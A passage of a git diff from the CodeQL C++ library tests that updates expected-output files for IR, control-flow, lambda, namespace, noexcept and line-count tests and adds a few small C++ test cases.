v1_3(void) = UnmodeledUse : mu* +# 1028| v1_4(void) = ExitFunction : + +# 1032| Block 2 +# 1032| r2_0(glval) = VariableAddress[x] : +# 1032| r2_1(int) = Load : r2_0, m0_7 +# 1032| r2_2(glval) = VariableAddress[y] : +# 1032| r2_3(int) = Load : r2_2, m0_10 +# 1032| r2_4(bool) = CompareEQ : r2_1, r2_3 +# 1032| v2_5(void) = ConditionalBranch : r2_4 +#-----| False -> Block 4 +#-----| True -> Block 3 + +# 1033| Block 3 +# 1033| r3_0(glval) = VariableAddress[#return] : +# 1033| r3_1(int) = Constant[1] : +# 1033| m3_2(int) = Store : r3_0, r3_1 +#-----| Goto -> Block 1 + +# 1036| Block 4 +# 1036| r4_0(glval) = VariableAddress[#return] : +# 1036| r4_1(int) = Constant[0] : +# 1036| m4_2(int) = Store : r4_0, r4_1 +#-----| Goto -> Block 1 + +# 1040| Block 5 +# 1040| r5_0(glval) = VariableAddress[x] : +# 1040| r5_1(int) = Load : r5_0, m0_7 +# 1040| r5_2(glval) = VariableAddress[y] : +# 1040| r5_3(int) = Load : r5_2, m0_10 +# 1040| r5_4(bool) = CompareLT : r5_1, r5_3 +# 1040| v5_5(void) = ConditionalBranch : r5_4 +#-----| False -> Block 7 +#-----| True -> Block 6 + +# 1041| Block 6 +# 1041| r6_0(glval) = VariableAddress[#return] : +# 1041| r6_1(int) = Constant[0] : +# 1041| m6_2(int) = Store : r6_0, r6_1 +#-----| Goto -> Block 1 + +# 1044| Block 7 +# 1044| r7_0(glval) = VariableAddress[#return] : +# 1044| r7_1(int) = Constant[1] : +# 1044| m7_2(int) = Store : r7_0, r7_1 +#-----| Goto -> Block 1 + +# 1049| DoWhileFalse() -> int +# 1049| Block 0 +# 1049| v0_0(void) = EnterFunction : +# 1049| mu0_1(unknown) = AliasedDefinition : +# 1049| mu0_2(unknown) = UnmodeledDefinition : +# 1050| r0_3(glval) = VariableAddress[i] : +# 1050| r0_4(int) = Constant[0] : +# 1050| m0_5(int) = Store : r0_3, r0_4 +# 1052| r0_6(glval) = VariableAddress[i] : +# 1052| r0_7(int) = Load : r0_6, m0_5 +# 1052| r0_8(int) = Constant[1] : +# 1052| r0_9(int) = Add : r0_7, r0_8 +# 1052| m0_10(int) = Store : r0_6, r0_9 +# 1053| r0_11(bool) = Constant[0] : +# 1053| v0_12(void) = ConditionalBranch : r0_11 +#-----| False -> Block 1 +#-----| True -> Block 2 + +# 1055| Block 1 +# 1055| r1_0(glval) = VariableAddress[#return] : +# 1055| r1_1(glval) = VariableAddress[i] : +# 1055| r1_2(int) = Load : r1_1, m0_10 +# 1055| m1_3(int) = Store : r1_0, r1_2 +# 1049| r1_4(glval) = VariableAddress[#return] : +# 1049| v1_5(void) = ReturnValue : r1_4, m1_3 +# 1049| v1_6(void) = UnmodeledUse : mu* +# 1049| v1_7(void) = ExitFunction : + +# 1049| Block 2 +# 1049| v2_0(void) = Unreached : diff --git a/cpp/ql/test/library-tests/lambdas/captures/elements.expected b/cpp/ql/test/library-tests/lambdas/captures/elements.expected index 52f85b0392d..384744c1080 100644 --- a/cpp/ql/test/library-tests/lambdas/captures/elements.expected +++ b/cpp/ql/test/library-tests/lambdas/captures/elements.expected @@ -115,7 +115,10 @@ | file://:0:0:0:0 | ..(*)(..) | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | auto | +| file://:0:0:0:0 | const __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | | file://:0:0:0:0 | const foo | | file://:0:0:0:0 | const foo & | | file://:0:0:0:0 | const lambda [] type at line 3, col. 5 | @@ -142,7 +145,6 @@ | file://:0:0:0:0 | decltype([...](...){...}) | | file://:0:0:0:0 | decltype([...](...){...}) | | file://:0:0:0:0 | decltype([...](...){...}) | -| file://:0:0:0:0 | definition of __va_list_tag | | file://:0:0:0:0 | definition of fp_offset | | file://:0:0:0:0 | definition of gp_offset | | file://:0:0:0:0 | definition of overflow_arg_area | @@ -176,6 +178,8 @@ | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | | file://:0:0:0:0 | this | | file://:0:0:0:0 | this | diff --git a/cpp/ql/test/library-tests/lambdas/cfg/cfg.expected b/cpp/ql/test/library-tests/lambdas/cfg/cfg.expected index cd73b85be0c..18a4ec40e79 100644 --- a/cpp/ql/test/library-tests/lambdas/cfg/cfg.expected +++ b/cpp/ql/test/library-tests/lambdas/cfg/cfg.expected @@ -1,103 +1,103 @@ -| | false | 102 | 102 | operator() | -| | false | 108 | 108 | declaration | -| | false | 110 | 110 | call to printf | -| | false | 114 | 114 | Running with %d and %d\n | -| | false | 115 | 115 | array to pointer conversion | -| | false | 117 | 117 | (char *)... | -| | false | 119 | 119 | x | -| | false | 121 | 121 | y | -| | false | 123 | 123 | ExprStmt | -| | false | 125 | 125 | z | -| | false | 127 | 127 | x | -| | false | 129 | 129 | y | -| | false | 131 | 131 | ... + ... | -| | false | 133 | 133 | ... = ... | -| | false | 135 | 135 | ExprStmt | -| | false | 137 | 137 | call to printf | -| | false | 141 | 141 | Returning %d %d\n | -| | false | 142 | 142 | array to pointer conversion | -| | false | 144 | 144 | (char *)... | -| | false | 146 | 146 | z | -| | false | 148 | 148 | z | -| | false | 150 | 150 | ExprStmt | -| | false | 152 | 152 | z | -| | false | 154 | 154 | return ... | -| | false | 156 | 156 | { ... } | -| | false | 160 | 160 | operator auto (*)(int, int)->int | -| | false | 161 | 161 | _FUN | -| | false | 164 | 164 | _FUN | -| | false | 166 | 166 | return ... | -| | false | 168 | 168 | { ... } | +| | false | 154 | 154 | (constructor) | +| | false | 157 | 157 | (constructor) | +| | false | 164 | 164 | return ... | +| | false | 166 | 166 | { ... } | +| | false | 167 | 167 | operator= | | | false | 173 | 173 | (constructor) | -| | false | 175 | 175 | return ... | -| | false | 177 | 177 | { ... } | -| | false | 183 | 183 | (constructor) | -| | false | 186 | 186 | operator= | -| | false | 188 | 188 | (constructor) | -| | true | 108 | 123 | | -| | true | 110 | 135 | | -| | true | 114 | 119 | | -| | true | 119 | 121 | | -| | true | 121 | 110 | | -| | true | 123 | 114 | | -| | true | 125 | 133 | | -| | true | 127 | 129 | | -| | true | 129 | 131 | | -| | true | 131 | 125 | | -| | true | 133 | 150 | | -| | true | 135 | 127 | | -| | true | 137 | 154 | | -| | true | 141 | 146 | | -| | true | 146 | 148 | | -| | true | 148 | 137 | | -| | true | 150 | 141 | | -| | true | 152 | 102 | | -| | true | 154 | 152 | | -| | true | 156 | 108 | | -| | true | 164 | 160 | | +| | false | 175 | 175 | _FUN | +| | false | 184 | 184 | operator auto (*)(int, int)->int | +| | false | 190 | 190 | _FUN | +| | false | 192 | 192 | return ... | +| | false | 194 | 194 | { ... } | +| | false | 195 | 195 | operator() | +| | false | 206 | 206 | declaration | +| | false | 212 | 212 | call to printf | +| | false | 220 | 220 | Running with %d and %d\n | +| | false | 221 | 221 | array to pointer conversion | +| | false | 222 | 222 | (char *)... | +| | false | 223 | 223 | x | +| | false | 225 | 225 | y | +| | false | 227 | 227 | ExprStmt | +| | false | 232 | 232 | z | +| | false | 234 | 234 | x | +| | false | 236 | 236 | y | +| | false | 238 | 238 | ... + ... | +| | false | 240 | 240 | ... = ... | +| | false | 242 | 242 | ExprStmt | +| | false | 244 | 244 | call to printf | +| | false | 250 | 250 | Returning %d %d\n | +| | false | 251 | 251 | array to pointer conversion | +| | false | 252 | 252 | (char *)... | +| | false | 253 | 253 | z | +| | false | 255 | 255 | z | +| | false | 257 | 257 | ExprStmt | +| | false | 259 | 259 | z | +| | false | 261 | 261 | return ... | +| | false | 263 | 263 | { ... } | +| | true | 164 | 157 | | | | true | 166 | 164 | | -| | true | 168 | 166 | | -| | true | 175 | 173 | | -| | true | 177 | 175 | | -| __va_list_tag::operator= | false | 60 | 60 | operator= | -| __va_list_tag::operator= | false | 66 | 66 | operator= | -| main | false | 95 | 95 | main | -| main | false | 199 | 199 | [...](...){...} | -| main | false | 201 | 201 | initializer for myLambda | -| main | false | 205 | 205 | declaration | -| main | false | 207 | 207 | call to printf | -| main | false | 213 | 213 | Some results: %d %d\n | -| main | false | 214 | 214 | array to pointer conversion | -| main | false | 216 | 216 | (char *)... | -| main | false | 220 | 220 | call to operator() | -| main | false | 222 | 222 | myLambda | -| main | false | 224 | 224 | (const lambda [] type at line 12, col. 21)... | -| main | false | 228 | 228 | 5 | -| main | false | 231 | 231 | 6 | -| main | false | 232 | 232 | call to operator() | -| main | false | 234 | 234 | myLambda | -| main | false | 236 | 236 | (const lambda [] type at line 12, col. 21)... | -| main | false | 240 | 240 | 7 | -| main | false | 243 | 243 | 8 | -| main | false | 244 | 244 | ExprStmt | -| main | false | 248 | 248 | 0 | -| main | false | 249 | 249 | return ... | -| main | false | 251 | 251 | { ... } | -| main | true | 199 | 244 | | -| main | true | 201 | 199 | | -| main | true | 205 | 201 | | -| main | true | 207 | 249 | | -| main | true | 213 | 228 | | -| main | true | 220 | 240 | | -| main | true | 222 | 220 | | -| main | true | 228 | 231 | | -| main | true | 231 | 222 | | -| main | true | 232 | 207 | | -| main | true | 234 | 232 | | -| main | true | 240 | 243 | | -| main | true | 243 | 234 | | -| main | true | 244 | 213 | | -| main | true | 248 | 95 | | -| main | true | 249 | 248 | | -| main | true | 251 | 205 | | -| printf | false | 84 | 84 | printf | +| | true | 190 | 184 | | +| | true | 192 | 190 | | +| | true | 194 | 192 | | +| | true | 206 | 227 | | +| | true | 212 | 242 | | +| | true | 220 | 223 | | +| | true | 223 | 225 | | +| | true | 225 | 212 | | +| | true | 227 | 220 | | +| | true | 232 | 240 | | +| | true | 234 | 236 | | +| | true | 236 | 238 | | +| | true | 238 | 232 | | +| | true | 240 | 257 | | +| | true | 242 | 234 | | +| | true | 244 | 261 | | +| | true | 250 | 253 | | +| | true | 253 | 255 | | +| | true | 255 | 244 | | +| | true | 257 | 250 | | +| | true | 259 | 195 | | +| | true | 261 | 259 | | +| | true | 263 | 206 | | +| __va_list_tag::operator= | false | 92 | 92 | operator= | +| __va_list_tag::operator= | false | 99 | 99 | operator= | +| main | false | 147 | 147 | main | +| main | false | 269 | 269 | declaration | +| main | false | 271 | 271 | call to printf | +| main | false | 277 | 277 | Some results: %d %d\n | +| main | false | 278 | 278 | array to pointer conversion | +| main | false | 279 | 279 | (char *)... | +| main | false | 282 | 282 | call to operator() | +| main | false | 285 | 285 | [...](...){...} | +| main | false | 287 | 287 | initializer for myLambda | +| main | false | 291 | 291 | myLambda | +| main | false | 293 | 293 | (const lambda [] type at line 12, col. 21)... | +| main | false | 296 | 296 | 5 | +| main | false | 299 | 299 | 6 | +| main | false | 300 | 300 | call to operator() | +| main | false | 302 | 302 | myLambda | +| main | false | 304 | 304 | (const lambda [] type at line 12, col. 21)... | +| main | false | 307 | 307 | 7 | +| main | false | 310 | 310 | 8 | +| main | false | 311 | 311 | ExprStmt | +| main | false | 315 | 315 | 0 | +| main | false | 316 | 316 | return ... | +| main | false | 318 | 318 | { ... } | +| main | true | 269 | 287 | | +| main | true | 271 | 316 | | +| main | true | 277 | 296 | | +| main | true | 282 | 307 | | +| main | true | 285 | 311 | | +| main | true | 287 | 285 | | +| main | true | 291 | 282 | | +| main | true | 296 | 299 | | +| main | true | 299 | 291 | | +| main | true | 300 | 271 | | +| main | true | 302 | 300 | | +| main | true | 307 | 310 | | +| main | true | 310 | 302 | | +| main | true | 311 | 277 | | +| main | true | 315 | 147 | | +| main | true | 316 | 315 | | +| main | true | 318 | 269 | | +| printf | false | 209 | 209 | printf | diff --git a/cpp/ql/test/library-tests/literals/uuidof/uuidof.cpp b/cpp/ql/test/library-tests/literals/uuidof/uuidof.cpp index afe3c0d0c95..efc39fc0f28 100644 --- a/cpp/ql/test/library-tests/literals/uuidof/uuidof.cpp +++ b/cpp/ql/test/library-tests/literals/uuidof/uuidof.cpp @@ -15,5 +15,6 @@ void GetUUID() { uuid = __uuidof(Templ); S s; uuid = __uuidof(s); + uuid = __uuidof(0); } // semmle-extractor-options: --microsoft diff --git a/cpp/ql/test/library-tests/literals/uuidof/uuidof.expected b/cpp/ql/test/library-tests/literals/uuidof/uuidof.expected index a0635a81d4f..b0fc3c38d8d 100644 --- a/cpp/ql/test/library-tests/literals/uuidof/uuidof.expected +++ b/cpp/ql/test/library-tests/literals/uuidof/uuidof.expected @@ -11,3 +11,4 @@ uuidofOperators | uuidof.cpp:14:12:14:30 | __uuidof(S) | const _GUID | 01234567-89ab-cdef-0123-456789abcdef | | uuidof.cpp:15:12:15:29 | __uuidof(S) | const _GUID | 01234567-89ab-cdef-0123-456789abcdef | | uuidof.cpp:17:12:17:22 | __uuidof(S) | const _GUID | 01234567-89ab-cdef-0123-456789abcdef | +| uuidof.cpp:18:12:18:22 | __uuidof(0) | const _GUID | 00000000-0000-0000-0000-000000000000 | diff --git a/cpp/ql/test/library-tests/locations/calls/calls.expected b/cpp/ql/test/library-tests/locations/calls/calls.expected index 0d47ee9aed8..d17e8f5ac06 100644 --- a/cpp/ql/test/library-tests/locations/calls/calls.expected +++ b/cpp/ql/test/library-tests/locations/calls/calls.expected @@ -1,6 +1,6 @@ -| holder.cpp:13:2:13:20 | call to Holder | holder.cpp:5:2:5:7 | Holder | -| holder.cpp:17:14:17:15 | call to Holder | holder.cpp:5:2:5:7 | Holder | -| holder.cpp:18:18:18:31 | call to Holder | holder.cpp:5:2:5:7 | Holder | -| holder.cpp:19:2:19:3 | call to Holder | holder.cpp:6:2:6:7 | Holder | -| holder.cpp:19:5:19:5 | call to operator+ | holder.cpp:12:11:12:19 | operator+ | -| holder.cpp:19:7:19:8 | call to Holder | holder.cpp:6:2:6:7 | Holder | +| holder.cpp:13:2:13:20 | call to Holder | holder.cpp:5:2:5:2 | Holder | +| holder.cpp:17:14:17:15 | call to Holder | holder.cpp:5:2:5:2 | Holder | +| holder.cpp:18:18:18:31 | call to Holder | holder.cpp:5:2:5:2 | Holder | +| holder.cpp:19:2:19:3 | call to Holder | holder.cpp:6:2:6:2 | Holder | +| holder.cpp:19:5:19:5 | call to operator+ | holder.cpp:12:11:12:11 | operator+ | +| holder.cpp:19:7:19:8 | call to Holder | holder.cpp:6:2:6:2 | Holder | diff --git a/cpp/ql/test/library-tests/loops/loops.expected b/cpp/ql/test/library-tests/loops/loops.expected index 5b1549e9e33..b1ea4bb9ac1 100644 --- a/cpp/ql/test/library-tests/loops/loops.expected +++ b/cpp/ql/test/library-tests/loops/loops.expected @@ -30,5 +30,6 @@ | rbfl.cpp:11:3:13:3 | for(...:...) ... | (RangeBasedForStmt).getVariable() | rbfl.cpp:11:10:11:12 | itr | | rbfl.cpp:11:3:13:3 | for(...:...) ... | (RangeBasedForStmt).getVariable() | rbfl.cpp:11:10:11:12 | itr | | rbfl.cpp:11:3:13:3 | for(...:...) ... | getCondition() | file://:0:0:0:0 | ... != ... | +| rbfl.cpp:11:3:13:3 | for(...:...) ... | getCondition() | file://:0:0:0:0 | | | rbfl.cpp:11:3:13:3 | for(...:...) ... | getStmt() | rbfl.cpp:12:3:13:3 | { ... } | | rbfl.cpp:11:3:13:3 | for(...:...) ... | getStmt() | rbfl.cpp:12:3:13:3 | { ... } | diff --git a/cpp/ql/test/library-tests/macros/inmacroexpansion/inmacroexpansion.expected b/cpp/ql/test/library-tests/macros/inmacroexpansion/inmacroexpansion.expected index 487f23c7bae..580e3da8356 100644 --- a/cpp/ql/test/library-tests/macros/inmacroexpansion/inmacroexpansion.expected +++ b/cpp/ql/test/library-tests/macros/inmacroexpansion/inmacroexpansion.expected @@ -1,5 +1,8 @@ +| file://:0:0:0:0 | __va_list_tag | false | | file://:0:0:0:0 | operator= | false | | file://:0:0:0:0 | operator= | false | +| file://:0:0:0:0 | p#0 | false | +| file://:0:0:0:0 | p#0 | false | | test.cpp:0:0:0:0 | test.cpp | false | | test.cpp:2:1:2:61 | #define FOO class S{int i; void f(void) { int j; return; } }; | false | | test.cpp:4:1:4:1 | declaration of operator= | false | diff --git a/cpp/ql/test/library-tests/members/getters/members.expected b/cpp/ql/test/library-tests/members/getters/members.expected index ce7b7f6e56b..a14ce851457 100644 --- a/cpp/ql/test/library-tests/members/getters/members.expected +++ b/cpp/ql/test/library-tests/members/getters/members.expected @@ -1,24 +1,24 @@ | file://:0:0:0:0 | | test.cpp:34:6:34:6 | g | g() | Orphan | | test.cpp:2:7:2:7 | C | test.cpp:2:7:2:7 | operator= | C::operator=(C &&) | getAMember(), getAMember(5), getAMemberFunction(), getCanonicalMember(5), getDeclaringType() | | test.cpp:2:7:2:7 | C | test.cpp:2:7:2:7 | operator= | C::operator=(const C &) | getAMember(), getAMember(4), getAMemberFunction(), getCanonicalMember(4), getDeclaringType() | +| test.cpp:2:7:2:7 | C | test.cpp:5:10:5:10 | f_template_C | C::f_template_C(double) | getAMember(), getAMember(0), getAMemberFunction(), getDeclaringType() | +| test.cpp:2:7:2:7 | C | test.cpp:5:10:5:10 | f_template_C | C::f_template_C(int) | getAMember(), getAMember(0), getAMemberFunction(), getDeclaringType() | | test.cpp:2:7:2:7 | C | test.cpp:5:10:5:21 | f_template_C | C::f_template_C(T) | getAMember(), getAMember(0), getAMemberFunction(), getCanonicalMember(0), getDeclaringType() | -| test.cpp:2:7:2:7 | C | test.cpp:5:10:5:21 | f_template_C | C::f_template_C(double) | getAMember(), getAMember(0), getAMemberFunction(), getDeclaringType() | -| test.cpp:2:7:2:7 | C | test.cpp:5:10:5:21 | f_template_C | C::f_template_C(int) | getAMember(), getAMember(0), getAMemberFunction(), getDeclaringType() | +| test.cpp:2:7:2:7 | C | test.cpp:8:10:8:10 | f_template_C_D | C::f_template_C_D(int) | getAMember(), getAMember(1), getAMemberFunction(), getDeclaringType() | | test.cpp:2:7:2:7 | C | test.cpp:8:10:8:23 | f_template_C_D | C::f_template_C_D(T) | getAMember(), getAMember(1), getAMemberFunction(), getCanonicalMember(1), getDeclaringType() | -| test.cpp:2:7:2:7 | C | test.cpp:8:10:8:23 | f_template_C_D | C::f_template_C_D(int) | getAMember(), getAMember(1), getAMemberFunction(), getDeclaringType() | | test.cpp:2:7:2:7 | C | test.cpp:10:10:10:12 | f_C | C::f_C() | getAMember(), getAMember(2), getAMemberFunction(), getCanonicalMember(2), getDeclaringType() | | test.cpp:2:7:2:7 | C | test.cpp:11:10:11:14 | f_C_D | C::f_C_D() | getAMember(), getAMember(3), getAMemberFunction(), getCanonicalMember(3), getDeclaringType() | | test.cpp:14:7:14:7 | D | test.cpp:14:7:14:7 | operator= | D::operator=(D &&) | getAMember(), getAMember(5), getAMemberFunction(), getCanonicalMember(5), getDeclaringType() | | test.cpp:14:7:14:7 | D | test.cpp:14:7:14:7 | operator= | D::operator=(const D &) | getAMember(), getAMember(4), getAMemberFunction(), getCanonicalMember(4), getDeclaringType() | +| test.cpp:14:7:14:7 | D | test.cpp:17:10:17:10 | f_template_C_D | D::f_template_C_D(double) | getAMember(), getAMember(0), getAMemberFunction(), getDeclaringType() | | test.cpp:14:7:14:7 | D | test.cpp:17:10:17:23 | f_template_C_D | D::f_template_C_D(T) | getAMember(), getAMember(0), getAMemberFunction(), getCanonicalMember(0), getDeclaringType() | -| test.cpp:14:7:14:7 | D | test.cpp:17:10:17:23 | f_template_C_D | D::f_template_C_D(double) | getAMember(), getAMember(0), getAMemberFunction(), getDeclaringType() | +| test.cpp:14:7:14:7 | D | test.cpp:20:10:20:10 | f_template_D | D::f_template_D(double) | getAMember(), getAMember(1), getAMemberFunction(), getDeclaringType() | | test.cpp:14:7:14:7 | D | test.cpp:20:10:20:21 | f_template_D | D::f_template_D(T) | getAMember(), getAMember(1), getAMemberFunction(), getCanonicalMember(1), getDeclaringType() | -| test.cpp:14:7:14:7 | D | test.cpp:20:10:20:21 | f_template_D | D::f_template_D(double) | getAMember(), getAMember(1), getAMemberFunction(), getDeclaringType() | | test.cpp:14:7:14:7 | D | test.cpp:22:10:22:14 | f_C_D | D::f_C_D() | getAMember(), getAMember(2), getAMemberFunction(), getCanonicalMember(2), getDeclaringType() | | test.cpp:14:7:14:7 | D | test.cpp:23:10:23:12 | f_D | D::f_D() | getAMember(), getAMember(3), getAMemberFunction(), getCanonicalMember(3), getDeclaringType() | | test.cpp:27:7:27:7 | E | test.cpp:29:10:29:12 | f_E | E::f_E() | getAMember(), getAMember(0), getAMemberFunction(), getCanonicalMember(0), getDeclaringType() | | test.cpp:27:7:27:7 | E | test.cpp:31:10:31:16 | f_E_arg | E::f_E_arg(E) | getAMember(), getAMember(1), getAMemberFunction(), getCanonicalMember(1), getDeclaringType() | | test.cpp:27:7:27:7 | E | test.cpp:27:7:27:7 | operator= | E::operator=(E &&) | getAMember(), getAMember(3), getAMemberFunction(), getCanonicalMember(3), getDeclaringType() | | test.cpp:27:7:27:7 | E | test.cpp:27:7:27:7 | operator= | E::operator=(const E &) | getAMember(), getAMember(2), getAMemberFunction(), getCanonicalMember(2), getDeclaringType() | -| test.cpp:27:7:27:7 | E | test.cpp:29:10:29:12 | f_E | E::f_E() | getAMember(), getAMember(0), getAMemberFunction(), getCanonicalMember(0), getDeclaringType() | -| test.cpp:27:7:27:7 | E | test.cpp:31:10:31:16 | f_E_arg | E::f_E_arg(E) | getAMember(), getAMember(1), getAMemberFunction(), getCanonicalMember(1), getDeclaringType() | +| test.cpp:27:7:27:7 | E | test.cpp:29:10:29:10 | f_E | E::f_E() | getAMember(), getAMember(0), getAMemberFunction(), getCanonicalMember(0), getDeclaringType() | +| test.cpp:27:7:27:7 | E | test.cpp:31:10:31:10 | f_E_arg | E::f_E_arg(E) | getAMember(), getAMember(1), getAMemberFunction(), getCanonicalMember(1), getDeclaringType() | diff --git a/cpp/ql/test/library-tests/namespaces/namespaces/decls.expected b/cpp/ql/test/library-tests/namespaces/namespaces/decls.expected index 16f6b2bc855..de75d894868 100644 --- a/cpp/ql/test/library-tests/namespaces/namespaces/decls.expected +++ b/cpp/ql/test/library-tests/namespaces/namespaces/decls.expected @@ -4,6 +4,8 @@ | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | operator= | __va_list_tag::operator= | false | | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | operator= | __va_list_tag::operator= | false | | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | overflow_arg_area | __va_list_tag::overflow_arg_area | false | +| file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | p#0 | | false | +| file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | p#0 | | false | | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | reg_save_area | __va_list_tag::reg_save_area | false | | file://:0:0:0:0 | (global namespace) | namespaces.cpp:40:5:40:13 | globalInt | globalInt | true | | file://:0:0:0:0 | (global namespace) | namespaces.cpp:42:6:42:18 | globalIntUser | globalIntUser | true | diff --git a/cpp/ql/test/library-tests/namespaces/same_name/decls.expected b/cpp/ql/test/library-tests/namespaces/same_name/decls.expected index 3d72020f4c4..8a6d70aee19 100644 --- a/cpp/ql/test/library-tests/namespaces/same_name/decls.expected +++ b/cpp/ql/test/library-tests/namespaces/same_name/decls.expected @@ -4,6 +4,8 @@ | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | overflow_arg_area | +| file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | (global namespace) | file://:0:0:0:0 | reg_save_area | | same_name.cpp:4:11:4:21 | namespace_a | same_name.cpp:2:11:2:11 | c | | same_name.cpp:4:11:4:21 | namespace_a | same_name.cpp:6:12:6:12 | c | diff --git a/cpp/ql/test/library-tests/noexcept/copy_from_prototype/copy_from_prototype.expected b/cpp/ql/test/library-tests/noexcept/copy_from_prototype/copy_from_prototype.expected index b837b9f9515..9d77efe772f 100644 --- a/cpp/ql/test/library-tests/noexcept/copy_from_prototype/copy_from_prototype.expected +++ b/cpp/ql/test/library-tests/noexcept/copy_from_prototype/copy_from_prototype.expected @@ -3,7 +3,6 @@ | copy_from_prototype.cpp:3:7:3:7 | operator= | a::operator=(a &&) -> a & | copy_from_prototype.cpp:3:7:3:7 | a | | | copy_from_prototype.cpp:3:7:3:7 | operator= | a::operator=(const a &) -> a & | copy_from_prototype.cpp:3:7:3:7 | a | | | copy_from_prototype.cpp:4:26:4:26 | a | a<>::a<(unnamed)>() -> void | copy_from_prototype.cpp:3:7:3:7 | a<> | 123 | -| copy_from_prototype.cpp:4:26:4:26 | a | a::a() -> void | copy_from_prototype.cpp:3:7:3:7 | a | | | copy_from_prototype.cpp:4:26:4:26 | a | a::a<(unnamed)>() -> void | copy_from_prototype.cpp:3:7:3:7 | a | | | copy_from_prototype.cpp:7:7:7:7 | b | b::b() -> void | copy_from_prototype.cpp:7:7:7:7 | b | | | copy_from_prototype.cpp:7:7:7:7 | b | b::b(b &&) -> void | copy_from_prototype.cpp:7:7:7:7 | b | | @@ -15,7 +14,6 @@ | copy_from_prototype.cpp:13:7:13:7 | operator= | c::operator=(c &&) -> c & | copy_from_prototype.cpp:13:7:13:7 | c | | | copy_from_prototype.cpp:13:7:13:7 | operator= | c::operator=(const c &) -> c & | copy_from_prototype.cpp:13:7:13:7 | c | | | copy_from_prototype.cpp:14:26:14:26 | c | c::c<(unnamed)>() -> void | copy_from_prototype.cpp:13:7:13:7 | c | Unknown literal | -| copy_from_prototype.cpp:14:26:14:26 | c | c::c() -> void | copy_from_prototype.cpp:13:7:13:7 | c | | | copy_from_prototype.cpp:14:26:14:26 | c | c::c<(unnamed)>() -> void | copy_from_prototype.cpp:13:7:13:7 | c | | | copy_from_prototype.cpp:17:7:17:7 | d | d::d() -> void | copy_from_prototype.cpp:17:7:17:7 | d | | | copy_from_prototype.cpp:17:7:17:7 | d | d::d(const d &) -> void | copy_from_prototype.cpp:17:7:17:7 | d | | @@ -28,5 +26,5 @@ | copy_from_prototype.cpp:22:8:22:8 | operator= | e::operator=(e &&) -> e & | copy_from_prototype.cpp:22:8:22:8 | e | | | copy_from_prototype.cpp:23:26:23:26 | e | e::e<(unnamed)>() -> void | copy_from_prototype.cpp:22:8:22:8 | e | 456 | | copy_from_prototype.cpp:26:35:26:43 | e | e::e<(unnamed)>() -> void | copy_from_prototype.cpp:22:8:22:8 | e | 456 | -| file://:0:0:0:0 | operator= | __va_list_tag::operator=() -> __va_list_tag & | file://:0:0:0:0 | __va_list_tag | | -| file://:0:0:0:0 | operator= | __va_list_tag::operator=() -> __va_list_tag & | file://:0:0:0:0 | __va_list_tag | | +| file://:0:0:0:0 | operator= | __va_list_tag::operator=(__va_list_tag &&) -> __va_list_tag & | file://:0:0:0:0 | __va_list_tag | | +| file://:0:0:0:0 | operator= | __va_list_tag::operator=(const __va_list_tag &) -> __va_list_tag & | file://:0:0:0:0 | __va_list_tag | | diff --git a/cpp/ql/test/library-tests/noexcept/noexcept/noexcept_specifier.expected b/cpp/ql/test/library-tests/noexcept/noexcept/noexcept_specifier.expected index 7d367b1674c..344551c24aa 100644 --- a/cpp/ql/test/library-tests/noexcept/noexcept/noexcept_specifier.expected +++ b/cpp/ql/test/library-tests/noexcept/noexcept/noexcept_specifier.expected @@ -15,7 +15,15 @@ | box.h:2:8:2:8 | definition of Box | no except | --- | | box.h:2:8:2:8 | definition of Box | no except | --- | | box.h:2:8:2:8 | definition of Box | no except | --- | +| box.h:3:3:3:3 | definition of Box | -------- | __has_nothrow_copy | +| box.h:3:3:3:3 | definition of Box | -------- | __has_nothrow_copy | +| box.h:3:3:3:3 | definition of Box | -------- | __has_nothrow_copy | +| box.h:3:3:3:3 | definition of Box | -------- | __has_nothrow_copy | | box.h:3:3:3:5 | definition of Box | -------- | __has_nothrow_copy | +| box.h:9:15:9:15 | definition of box | -------- | --- | +| box.h:9:15:9:15 | definition of box | -------- | --- | +| box.h:9:15:9:15 | definition of box | -------- | --- | +| box.h:9:15:9:15 | definition of box | -------- | --- | | box.h:9:15:9:17 | definition of box | -------- | --- | | noexcept.cpp:2:7:2:7 | declaration of operator= | -------- | --- | | noexcept.cpp:2:7:2:7 | declaration of operator= | -------- | --- | diff --git a/cpp/ql/test/library-tests/numlines/numlines.cpp b/cpp/ql/test/library-tests/numlines/numlines.cpp index b91453f1487..bb4991f9a23 100644 --- a/cpp/ql/test/library-tests/numlines/numlines.cpp +++ b/cpp/ql/test/library-tests/numlines/numlines.cpp @@ -48,3 +48,26 @@ void templateFunctionUser(signed int x, unsigned int y) { twiceUsedTemplateFunction(y); } +class C { + public: + int ff() { + int i; + gg(i); + } + // Although there is a declaration of gg starting here, + // the number of lines count shouldn't. + template + void gg(T t); +}; + + + +template +void C::gg(T t) { + ; +} +void hh() { + C n; + n.ff(); +} + diff --git a/cpp/ql/test/library-tests/numlines/numlines.expected b/cpp/ql/test/library-tests/numlines/numlines.expected index a04cd4c34f9..3feca61fd69 100644 --- a/cpp/ql/test/library-tests/numlines/numlines.expected +++ b/cpp/ql/test/library-tests/numlines/numlines.expected @@ -1,8 +1,11 @@ +| C::ff() | 4 | 4 | 0 | +| C::gg(T) | 4 | 4 | 0 | | conventional() | 4 | 4 | 1 | +| hh() | 4 | 4 | 0 | | long_char() | 3 | 3 | 0 | | long_string() | 5 | 5 | 0 | | misleading_comment() | 7 | 2 | 5 | -| numlines | 50 | 37 | 6 | +| numlines | 73 | 54 | 8 | | onceUsedTemplateFunction(T) | 6 